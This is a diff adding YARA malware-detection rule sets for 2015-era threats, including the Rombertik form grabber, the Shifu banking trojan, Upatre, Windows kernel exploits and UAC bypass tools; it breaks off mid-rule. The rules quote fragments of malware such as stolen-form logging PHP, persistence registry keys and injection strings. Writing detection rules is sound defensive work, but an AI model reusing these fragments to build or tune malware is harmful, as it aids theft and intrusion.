+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-02
+	Identifier: Phishing Gina Harrowell Dez 2015
+*/
+
+rule PHISH_02Dez2015_dropped_p0o6543f_1 {
+	meta:
+		description = "Phishing Wave - file p0o6543f.exe"
+		author = "Florian Roth"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-02"
+		hash = "db788d6d3a8ed1a6dc9626852587f475e7671e12fa9c9faa73b7277886f1e210"
+	strings:
+		$s1 = "netsh.exe" fullword wide
+		$s2 = "routemon.exe" fullword wide
+		$s3 = "script=" fullword wide /* Goodware String - occured 4 times */
+		$s4 = "disconnect" fullword wide /* Goodware String - occured 14 times */
+		$s5 = "GetClusterResourceTypeKey" fullword ascii /* Goodware String - occured 17 times */
+		$s6 = "QueryInformationJobObject" fullword ascii /* Goodware String - occured 34 times */
+		$s7 = "interface" fullword wide /* Goodware String - occured 52 times */
+		$s8 = "connect" fullword wide /* Goodware String - occured 61 times */
+		$s9 = "FreeConsole" fullword ascii /* Goodware String - occured 91 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule PHISH_02Dez2015_dropped_p0o6543f_2 {
+	meta:
+		description = "Phishing Wave used MineExplorer Game by WangLei - file p0o6543f.exe.4"
+		author = "Florian Roth"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-03"
+		hash1 = "d6b21ded749b57042eede07c3af1956a3c9f1faddd22d2f78e43003a11ae496f"
+		hash2 = "561b16643992b92d37cf380bc2ed7cd106e4dcaf25ca45b4ba876ce59533fb02"
+	strings:
+		$s1 = "Email: W0067@990.net" fullword wide
+		$s2 = "MineExplorer Version 1.0" fullword wide
+		$s6 = "Copy Rights by WangLei 1999.4" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule PHISH_02Dez2015_attach_P_ORD_C_10156_124658 {
+	meta:
+		description = "Phishing Wave - file P-ORD-C-10156-124658.xls"
+		author = "Florian Roth"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-02"
+		hash1 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash2 = "e6c5b55586e9d99551adc27a0fc9c080cea6201fae60104b82d5a2ec518fafb6"
+		hash3 = "80f278b7268ea6814f8b336e07c5f4b03289519e199fbe4cbd9ef6a38cf25df6"
+		hash4 = "3a0a758525883a049a42312e46a023076c31af23b5e8e5b81fec56d51e4c80fb"
+		hash5 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash6 = "d9db7d32949c4df6a5d9d0292b576ae19681be7b6e0684df57338390e87fc6d6"
+		hash7 = "7bb705701ae73d377f6091515a140f0af57703719a67da9a60fad4544092ee6c"
+		hash8 = "e743c6e7749ab1046a2beea8733d7c8386ea60b43492bb4f0769ced6a2cee66d"
+	strings:
+		$s1 = "Execute" ascii
+		$s2 = "Process WriteParameterFiles" fullword ascii
+		$s3 = "WScript.Shell" fullword ascii
+		$s4 = "STOCKMASTER" fullword ascii
+		$s5 = "InsertEmailFax" ascii
+	condition:
+		uint16(0) == 0xcfd0 and filesize < 200KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_rombertik_carbongrabber.yar b/yara-mikesxrs/Florian Roth/crime_rombertik_carbongrabber.yar
new file mode 100644
index 0000000..fba1ac4
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_rombertik_carbongrabber.yar	
@@ -0,0 +1,107 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-05
+	Identifier: CarbonGrabber
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Rombertik_CarbonGrabber {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik - file Copy#064046.scr"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash1 = "2f9b26b90311e62662c5946a1ac600d2996d3758"
+		hash2 = "aeb94064af2a6107a14fd32f39cb502e704cd0ab"
+		hash3 = "c2005c8d1a79da5e02e6a15d00151018658c264c" 
+		hash4 = "98223d4ec272d3a631498b621618d875dd32161d" 	
+	strings:
+		$x1 = "ZwGetWriteWatch" fullword ascii
+		$x2 = "OutputDebugStringA" fullword ascii
+		$x3 = "malwar" fullword ascii
+		$x4 = "sampl" fullword ascii
+		$x5 = "viru" fullword ascii
+		$x6 = "sandb" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5MB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Panel_InstallScript {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik panel install script - file install.php"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "cd6c152dd1e0689e0bede30a8bd07fef465fbcfa"
+	strings:
+		$s0 = "$insert = \"INSERT INTO `logs` (`id`, `ip`, `name`, `host`, `post`, `time`, `bro" ascii
+		$s3 = "`post` text NOT NULL," fullword ascii
+		$s4 = "`host` text NOT NULL," fullword ascii
+		$s5 = ") ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;\" ;" fullword ascii
+		$s6 = "$db->exec($columns); //or die(print_r($db->errorInfo(), true));;" fullword ascii
+		$s9 = "$db->exec($insert);" fullword ascii
+		$s10 = "`browser` text NOT NULL," fullword ascii
+		$s13 = "`ip` text NOT NULL," fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Panel {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Panel - file index.php"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "e6e9e4fc3772ff33bbeeda51f217e9149db60082"
+	strings:
+		$s0 = "echo '<meta http-equiv=\"refresh\" content=\"0;url=index.php?a=login\">';" fullword ascii
+		$s1 = "echo '<meta http-equiv=\"refresh\" content=\"2;url='.$website.'/index.php?a=login" ascii
+		$s2 = "header(\"location: $website/index.php?a=login\");" fullword ascii
+		$s3 = "$insertLogSQL -> execute(array(':id' => NULL, ':ip' => $ip, ':name' => $name, ':" ascii
+		$s16 = "if($_POST['username'] == $username && $_POST['password'] == $password){" fullword ascii
+		$s17 = "$SQL = $db -> prepare(\"TRUNCATE TABLE `logs`\");" fullword ascii
+	condition:
+		filesize < 46KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Builder {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Builder - file Builder.exe"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "b50ecc0ba3d6ec19b53efe505d14276e9e71285f"
+	strings:
+		$s0 = "c:\\users\\iden\\documents\\visual studio 2010\\Projects\\FormGrabberBuilderC++" ascii
+		$s1 = "Host(www.panel.com): " fullword ascii
+		$s2 = "Path(/form/index.php?a=insert): " fullword ascii
+		$s3 = "FileName: " fullword ascii
+		$s4 = "~Rich8" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 35KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Builder_Server {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Builder Server - file Server.exe"
+		author = "Florian Roth"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "895fab8d55882eac51d4b27a188aa67205ff0ae5"
+	strings:
+		$s0 = "C:\\WINDOWS\\system32\\svchost.exe" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\Currentversion\\RunOnce" fullword ascii
+		$s4 = "chrome.exe" fullword ascii
+		$s5 = "firefox.exe" fullword ascii
+		$s6 = "chrome.dll" fullword ascii
+		$s7 = "@KERNEL32.DLL" fullword wide
+		$s8 = "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome" ascii
+		$s10 = "&post=" fullword ascii
+		$s11 = "&host=" fullword ascii
+		$s12 = "Ws2_32.dll" fullword ascii
+		$s16 = "&browser=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 8 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_shifu_trojan.yar b/yara-mikesxrs/Florian Roth/crime_shifu_trojan.yar
new file mode 100644
index 0000000..cb36022
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_shifu_trojan.yar	
@@ -0,0 +1,59 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-01
+	Identifier: Shifu
+*/
+
+rule Shifu_Banking_Trojan {
+	meta:
+		description = "Detects Shifu Banking Trojan"
+		author = "Florian Roth"
+		reference = "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/"
+		date = "2015-09-01"
+		hash1 = "4ff1ebea2096f318a2252ebe1726bcf3bbc295da9204b6c720b5bbf14de14bb2"
+		hash2 = "4881c7d89c2b5e934d4741a653fbdaf87cc5e7571b68c723504069d519d8a737"
+	strings:
+		$x1 = "c:\\oil\\feet\\Seven\\Send\\Gather\\Dividerail.pdb" fullword ascii
+
+		$s1 = "listen above" fullword wide
+		$s2 = "familycould cost" fullword wide
+		$s3 = "SetSystemTimeAdjustment" fullword ascii /* Goodware String - occured 33 times */
+		$s4 = "PeekNamedPipe" fullword ascii /* Goodware String - occured 347 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and ($x1 or all of ($s*))
+}
+
+rule SHIFU_Banking_Trojan {
+	meta:
+		description = "Detects SHIFU Banking Trojan"
+		author = "Florian Roth"
+		reference = "http://goo.gl/52n8WE"
+		date = "2015-10-31"
+		score = 70
+		hash1 = "0066d1c8053ff8b0c07418c7f8d20e5cd64007bb850944269f611febd0c1afe0"
+		hash2 = "3956d32a870d81be34cafc867769b2a2f55a96360070f1cb3d9addc2918357d5"
+		hash3 = "3fde1b2b50fcb36a695f1e6bc577cd930c2343066d98982cf982393e55bfce0d"
+		hash4 = "457ad4a4d4e675fe09f63873ca3364434dc872dde7d9b64ce7db919eaff47485"
+		hash5 = "51edba913e8b83d1388b1be975957e439015289d51d3d5774d501551f220df6f"
+		hash6 = "6611a2b79a3acf0003b1197aa5bfe488a33db69b663c79c6c5b023e86818d38b"
+		hash7 = "72e239924faebf8209f8e3d093f264f778a55efb56b619f26cea73b1c4feb7a4"
+		hash8 = "7a29cb641b9ac33d1bb405d364bc6e9c7ce3e218a8ff295b75ca0922cf418290"
+		hash9 = "92fe4f9a87c796e993820d1bda8040aced36e316de67c9c0c5fc71aadc41e0f8"
+		hash10 = "93ecb6bd7c76e1b66f8c176418e73e274e2c705986d4ac9ede9d25db4091ab05"
+		hash11 = "a0b7fac69a4eb32953c16597da753b15060f6eba452d150109ff8aabc2c56123"
+		hash12 = "a8b6e798116ce0b268e2c9afac61536b8722e86b958bd2ee95c6ecdec86130c9"
+		hash13 = "d6244c1177b679b3d67f6cec34fe0ae87fba21998d4f5024d8eeaf15ca242503"
+		hash14 = "dcc9c38e695ffd121e793c91ca611a4025a116321443297f710a47ce06afb36d"
+	strings:
+		$x1 = "\\Gather\\Dividerail.pdb" ascii
+
+		$s0 = "\\payload\\payload.x86.pdb" ascii
+		$s1 = "USER_PRIV_GUEST" fullword wide
+		$s2 = "USER_PRIV_ADMIN" fullword wide
+		$s3 = "USER_PRIV_USER" fullword wide
+		$s4 = "PPSWVPP" fullword ascii
+		$s5 = "WinSCard.dll" fullword ascii /* Goodware String - occured 83 times */
+	condition:
+		uint16(0) == 0x5a4d and ($x1 or 5 of ($s*))
+}
diff --git a/yara-mikesxrs/Florian Roth/crime_upatre_oct15.yar b/yara-mikesxrs/Florian Roth/crime_upatre_oct15.yar
new file mode 100644
index 0000000..d6a7e78
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/crime_upatre_oct15.yar	
@@ -0,0 +1,43 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-13
+	Identifier: Upatre Campaign October 2015
+*/
+
+rule Upatre_Hazgurut {
+	meta:
+		description = "Detects Upatre malware - file hazgurut.exe"
+		author = "Florian Roth"
+		reference = "https://weankor.vxstream-sandbox.com/sample/6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3?environmentId=7"
+		date = "2015-10-13"
+		score = 70
+		hash1 = "7ee0d20b15e24b7fe72154d9521e1959752b4e9c20d2992500df9ac096450a50"
+		hash2 = "79ffc620ddb143525fa32bc6a83c636168501a4a589a38cdb0a74afac1ee8b92"
+		hash3 = "62d8a6880c594fe9529158b94a9336179fa7a3d3bf1aa9d0baaf07d03b281bd3"
+		hash4 = "c64282aca980d558821bec8b3dfeae562d9620139dc43d02ee4d1745cd989f2a"
+		hash5 = "a35f9870f9d4b993eb094460b05ee1f657199412807abe6264121dd7cc12aa70"
+		hash6 = "f8cb2730ebc8fac1c58da1346ad1208585fe730c4f03d976eb1e13a1f5d81ef9"
+		hash7 = "b65ad7e2d299d6955d95b7ae9b62233c34bc5f6aa9f87dc482914f8ad2cba5d2"
+		hash8 = "6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3"
+		hash9 = "33a288cef0ae7192b34bd2ef3f523dfb7c6cbc2735ba07edf988400df1713041"
+		hash10 = "2a8e50afbc376cb2a9700d2d83c1be0c21ef942309676ecac897ba4646aba273"
+		hash11 = "3d0f2c7e07b7d64b1bad049b804ff1aae8c1fc945a42ad555eca3e1698c7f7d3"
+		hash12 = "951360b32a78173a1f81da0ded8b4400e230125d05970d41621830efc5337274"
+		hash13 = "bd90faebfd7663ef89b120fe69809532cada3eb94bb94094e8bc615f70670295"
+		hash14 = "8c5823f67f9625e4be39a67958f0f614ece49c18596eacc5620524bc9b6bad3d"
+	strings:
+		$a1 = "barcod" fullword ascii
+
+		$s0 = "msports.dll" fullword ascii
+		$s1 = "nddeapi.dll" fullword ascii
+		$s2 = "glmf32.dll" fullword ascii
+		$s3 = "<requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\">" fullword ascii
+		$s4 = "cmutil.dll" fullword ascii
+		$s5 = "mprapi.dll" fullword ascii
+		$s6 = "glmf32.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB
+		and $a1 in (0..4000)
+		and all of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/exploit_cve_2015_1674.yar b/yara-mikesxrs/Florian Roth/exploit_cve_2015_1674.yar
new file mode 100644
index 0000000..10ba95f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/exploit_cve_2015_1674.yar	
@@ -0,0 +1,27 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-14
+	Identifier: CVE-2015-1674
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CVE_2015_1674_CNGSYS {
+	meta:
+		description = "Detects exploits for CVE-2015-1674"
+		author = "Florian Roth"
+		reference = "http://www.binvul.com/viewthread.php?tid=508"
+		date = "2015-05-14"
+		hash = "af4eb2a275f6bbc2bfeef656642ede9ce04fad36"
+	strings:
+		$s1 = "\\Device\\CNG" fullword wide
+		
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "LoadLibrary" ascii
+		$s4 = "KERNEL32.dll" fullword ascii
+		$s5 = "ntdll.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
diff --git a/yara-mikesxrs/Florian Roth/exploit_cve_2015_1701.yar b/yara-mikesxrs/Florian Roth/exploit_cve_2015_1701.yar
new file mode 100644
index 0000000..0c6f007
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/exploit_cve_2015_1701.yar	
@@ -0,0 +1,27 @@
+
+rule CVE_2015_1701_Taihou {
+	meta:
+		description = "CVE-2015-1701 compiled exploit code"
+		author = "Florian Roth"
+		reference = "http://goo.gl/W4nU0q"
+		date = "2015-05-13"
+		hash1 = "90d17ebd75ce7ff4f15b2df951572653efe2ea17"
+		hash2 = "acf181d6c2c43356e92d4ee7592700fa01e30ffb"
+		hash3 = "b8aabe12502f7d55ae332905acee80a10e3bc399"
+		hash4 = "d9989a46d590ebc792f14aa6fec30560dfe931b1"
+		hash5 = "63d1d33e7418daf200dc4660fc9a59492ddd50d9"
+		score = 70
+	strings:	
+		$s3 = "VirtualProtect" fullword
+		$s4 = "RegisterClass"
+		$s5 = "LoadIcon"
+		$s6 = "PsLookupProcessByProcessId" fullword ascii 
+		$s7 = "LoadLibraryExA" fullword ascii
+		$s8 = "gSharedInfo" fullword
+
+		$w1 = "user32.dll" wide
+		$w2 = "ntdll" wide	
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and all of ($s*) and 1 of ($w*)
+}
+
diff --git a/yara-mikesxrs/Florian Roth/exploit_cve_2015_2426.yar b/yara-mikesxrs/Florian Roth/exploit_cve_2015_2426.yar
new file mode 100644
index 0000000..e7070d9
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/exploit_cve_2015_2426.yar	
@@ -0,0 +1,53 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-21
+	Identifier: MS15-077 MS15-078
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Exploit_MS15_077_078 {
+	meta:
+		description = "MS15-078 / MS15-077 exploit - generic signature"
+		author = "Florian Roth"
+		reference = "https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&start=200"
+		date = "2015-07-21"
+		hash1 = "18e3e840a5e5b75747d6b961fca66a670e3faef252aaa416a88488967b47ac1c"
+		hash2 = "0b5dc030e73074b18b1959d1cf7177ff510dbc2a0ec2b8bb927936f59eb3d14d"
+		hash3 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+		hash4 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+	strings:
+		$s1 = "GDI32.DLL" fullword ascii
+		$s2 = "atmfd.dll" fullword wide
+		$s3 = "AddFontMemResourceEx" fullword ascii
+		$s4 = "NamedEscape" fullword ascii
+		$s5 = "CreateBitmap" fullword ascii
+		$s6 = "DeleteObject" fullword ascii
+
+		$op0 = { 83 45 e8 01 eb 07 c7 45 e8 } /* Opcode */
+		$op1 = { 8d 85 24 42 fb ff 89 04 24 e8 80 22 00 00 c7 45 } /* Opcode */
+		$op2 = { eb 54 8b 15 6c 00 4c 00 8d 85 24 42 fb ff 89 44 } /* Opcode */
+		$op3 = { 64 00 88 ff 84 03 70 03 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 5 of ($s*) or 3 of ($op*)
+}
+
+rule Exploit_MS15_077_078_HackingTeam {
+	meta:
+		description = "MS15-078 / MS15-077 exploit - Hacking Team code"
+		author = "Florian Roth"
+		date = "2015-07-21"
+		super_rule = 1
+		hash1 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+		hash2 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+	strings:
+		$s1 = "\\SystemRoot\\system32\\CI.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\sysnative\\CI.dll" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "CRTDLL.DLL" fullword ascii
+		$s5 = "\\sysnative" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "InternetOpenA coolio, trying open %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 5 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/exploit_uac_elevators.yar b/yara-mikesxrs/Florian Roth/exploit_uac_elevators.yar
new file mode 100644
index 0000000..3ad640b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/exploit_uac_elevators.yar	
@@ -0,0 +1,131 @@
+
+rule Win7Elevatev2 {
+	meta:
+		description = "Detects Win7Elevate - Windows UAC bypass utility"
+		author = "Florian Roth"
+		reference = "http://www.pretentiousname.com/misc/W7E_Source/Win7Elevate_Inject.cpp.html"
+		date = "2015-05-14"
+		hash1 = "4f53ff6a04e46eda92b403faf42219a545c06c29" /* x64 */
+		hash2 = "808d04c187a524db402c5b2be17ce799d2654bd1" /* x86 */
+		score = 60
+	strings:
+		$x1 = "This program attempts to bypass Windows 7's default UAC settings to run " wide
+		$x2 = "Win7ElevateV2\\x64\\Release\\" ascii
+		$x3 = "Run the command normally (without code injection)" wide	
+		$x4 = "Inject file copy && elevate command" fullword wide
+		$x5 = "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" fullword wide
+		$x6 = "For injection, pick any unelevated Windows process with ASLR on:" fullword wide
+		
+		$s1 = "\\cmd.exe" wide
+		$s2 = "runas" wide
+		$s3 = "explorer.exe" wide
+		$s4 = "Couldn't load kernel32.dll" wide
+		$s5 = "CRYPTBASE.dll" wide
+		$s6 = "shell32.dll" wide
+		$s7 = "ShellExecuteEx" ascii
+		$s8 = "COMCTL32.dll" ascii 
+		$s9 = "ShellExecuteEx" ascii
+		$s10 = "HeapAlloc" ascii
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or all of ($s*) )
+}
+
+rule UACME_Akagi {
+	meta:
+		description = "Rule to detect UACMe - abusing built-in Windows AutoElevate backdoor"
+		author = "Florian Roth"
+		reference = "https://github.com/hfiref0x/UACME"
+		date = "2015-05-14"
+		hash1 = "edd2138bbd9e76c343051c6dc898054607f2040a"
+		hash2 = "e3a919ccc2e759e618208ededa8a543954d49f8a"
+		score = 60
+	strings:
+		$x1 = "UACMe injected, Fubuki at your service." wide fullword
+		$x3 = "%temp%\\Hibiki.dll" fullword wide
+		$x4 = "[UCM] Cannot write to the target process memory." fullword wide
+		
+		$s1 = "%systemroot%\\system32\\cmd.exe" wide
+		$s2 = "D:(A;;GA;;;WD)" wide
+		$s3 = "%systemroot%\\system32\\sysprep\\sysprep.exe" fullword wide
+		$s4 = "/c wusa %ws /extract:%%windir%%\\system32" fullword wide
+		$s5 = "Fubuki.dll" ascii fullword
+		
+		$l1 = "ntdll.dll" ascii
+		$l2 = "Cabinet.dll" ascii
+		$l3 = "GetProcessHeap" ascii
+		$l4 = "WriteProcessMemory" ascii
+		$l5 = "ShellExecuteEx" ascii
+	condition:
+		( 1 of ($x*) ) or ( 3 of ($s*) and all of ($l*) ) 
+}
+
+rule UACElevator {
+	meta:
+		description = "UACElevator bypassing UAC - file UACElevator.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/MalwareTech/UACElevator"
+		date = "2015-05-14"
+		hash = "fd29d5a72d7a85b7e9565ed92b4d7a3884defba6"
+	strings:
+		$x1 = "\\UACElevator.pdb" ascii
+		
+		$s1 = "%userprofile%\\Downloads\\dwmapi.dll" fullword ascii
+		$s2 = "%windir%\\system32\\dwmapi.dll" fullword ascii
+		$s3 = "Infection module: %s" fullword ascii
+		$s4 = "Could not save module to %s" fullword ascii
+		$s5 = "%s%s%p%s%ld%s%d%s" fullword ascii
+		$s6 = "Stack area around _alloca memory reserved by this function is corrupted" fullword ascii
+		$s7 = "Stack around the variable '" fullword ascii
+		$s8 = "MSVCR120D.dll" fullword wide
+		$s9 = "Address: 0x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 172KB and 
+			( $x1 or 8 of ($s*) )
+}
+
+rule s4u {
+	meta:
+		description = "Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/aurel26/s-4-u-for-windows"
+		date = "2015-06-05"
+		hash = "cfc18f3d5306df208461459a8e667d89ce44ed77"
+		score = 50
+	strings:
+		// Specific strings (may change)
+		$x0 = "s4u.exe Domain\\Username [Extra SID]" fullword ascii 
+		$x1 = "\\Release\\s4u.pdb" ascii
+
+		// Less specific strings
+		$s0 = "CreateProcessAsUser failed (error %u)." fullword ascii 
+		$s1 = "GetTokenInformation failed (error: %u)." fullword ascii 
+		$s2 = "LsaLogonUser failed (error 0x%x)." fullword ascii 
+		$s3 = "LsaLogonUser: OK, LogonId: 0x%x-0x%x" fullword ascii 
+		$s4 = "LookupPrivilegeValue failed (error: %u)." fullword ascii 
+		$s5 = "The token does not have the specified privilege (%S)." fullword ascii 
+		$s6 = "Unable to parse command line." fullword ascii 
+		$s7 = "Unable to find logon SID." fullword ascii 
+		$s8 = "AdjustTokenPrivileges failed (error: %u)." fullword ascii
+		$s9 = "AdjustTokenPrivileges (%S): OK" fullword ascii 
+		
+		// Generic
+		$g1 = "%systemroot%\\system32\\cmd.exe" wide
+		$g2 = "SeTcbPrivilege" wide
+		$g3 = "winsta0\\default" wide
+		$g4 = ".rsrc"
+		$g5 = "HeapAlloc"
+		$g6 = "GetCurrentProcess"
+		$g7 = "HeapFree"
+		$g8 = "GetProcessHeap"
+		$g9 = "ExpandEnvironmentStrings"
+		$g10 = "ConvertStringSidToSid"
+		$g11 = "LookupPrivilegeValue"
+		$g12 = "AllocateLocallyUniqueId"
+		$g13 = "ADVAPI32.dll"
+		$g14 = "LsaLookupAuthenticationPackage"
+		$g15 = "Secur32.dll"
+		$g16 = "MSVCR120.dll"		
+
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and ( 1 of ($x*) or all of ($s*) or all of ($g*) ) 
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_ace_with_exe.yar b/yara-mikesxrs/Florian Roth/gen_ace_with_exe.yar
new file mode 100644
index 0000000..b3a78d7
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_ace_with_exe.yar	
@@ -0,0 +1,21 @@
+
+rule ACE_Containing_EXE {
+    meta:
+        author = "Florian Roth - based on Nick Hoffman' rule - Morphick Inc"
+        description = "Looks for ACE Archives containing an exe/scr file"
+        date = "2015-09-09"
+        score = 50
+    strings:
+        $header = { 2a 2a 41 43 45 2a 2a }
+        $extensions1 = ".exe" 
+        $extensions2 = ".EXE"
+        $extensions3 = ".scr"
+        $extensions4 = ".SCR"
+    condition:
+        $header at 7 and for
+        any of ($extensions*): (
+            $ in (81..(81+uint16(79)))
+        )
+}
+
+
diff --git a/yara-mikesxrs/Florian Roth/gen_b374k_extra.yar b/yara-mikesxrs/Florian Roth/gen_b374k_extra.yar
new file mode 100644
index 0000000..fcfc626
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_b374k_extra.yar	
@@ -0,0 +1,22 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-18
+	Identifier: b374k - Back Connect Payload UPX
+*/
+
+rule b374k_back_connect {
+	meta:
+		description = "Detects privilege escalation tool"
+		author = "Florian Roth"
+		reference = "Internal Analysis"
+		date = "2016-08-18"
+		score = 80
+		hash1 = "c8e16f71f90bbaaef27ccaabb226b43762ca6f7e34d7d5585ae0eb2d36a4bae5"
+	strings:
+		$s1 = "AddAtomACreatePro" fullword ascii
+		$s2 = "shutdow" fullword ascii
+		$s3 = "/config/i386" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 10KB and all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_cn_hacktool_scripts.yar b/yara-mikesxrs/Florian Roth/gen_cn_hacktool_scripts.yar
new file mode 100644
index 0000000..b9a29ff
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_cn_hacktool_scripts.yar	
@@ -0,0 +1,129 @@
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-13
+    Identifier: CN-Tools Scripts
+    Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com) 
+*/
+
+
+rule CN_Tools_xbat {
+    meta:
+        description = "Chinese Hacktool Set - file xbat.vbs"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "a7005acda381a09803b860f04d4cae3fdb65d594"
+    strings:
+        $s0 = "ws.run \"srss.bat /start\",0 " fullword ascii 
+        $s1 = "Set ws = Wscript.CreateObject(\"Wscript.Shell\")" fullword ascii 
+    condition:
+        uint16(0) == 0x6553 and filesize < 0KB and all of them
+}
+
+rule CN_Tools_Temp {
+    meta:
+        description = "Chinese Hacktool Set - file Temp.war"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c3327ef63b0ed64c4906e9940ef877c76ebaff58"
+    strings:
+        $s0 = "META-INF/context.xml<?xml version=\"1.0\" encoding=\"UTF-8\"?>" fullword ascii 
+        $s1 = "browser.jsp" fullword ascii 
+        $s3 = "cmd.jsp" fullword ascii
+        $s4 = "index.jsp" fullword ascii
+    condition:
+        uint16(0) == 0x4b50 and filesize < 203KB and all of them
+}
+
+rule CN_Tools_srss {
+    meta:
+        description = "Chinese Hacktool Set - file srss.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "092ab0797947692a247fe80b100fb4df0f9c37a0"
+    strings:
+        $s0 = "srss.exe -idx 0 -ip"
+        $s1 = "-port 21 -logfilter \"_USER ,_P" ascii 
+    condition:
+        filesize < 100 and all of them
+}
+
+rule dll_UnReg {
+    meta:
+        description = "Chinese Hacktool Set - file UnReg.bat"
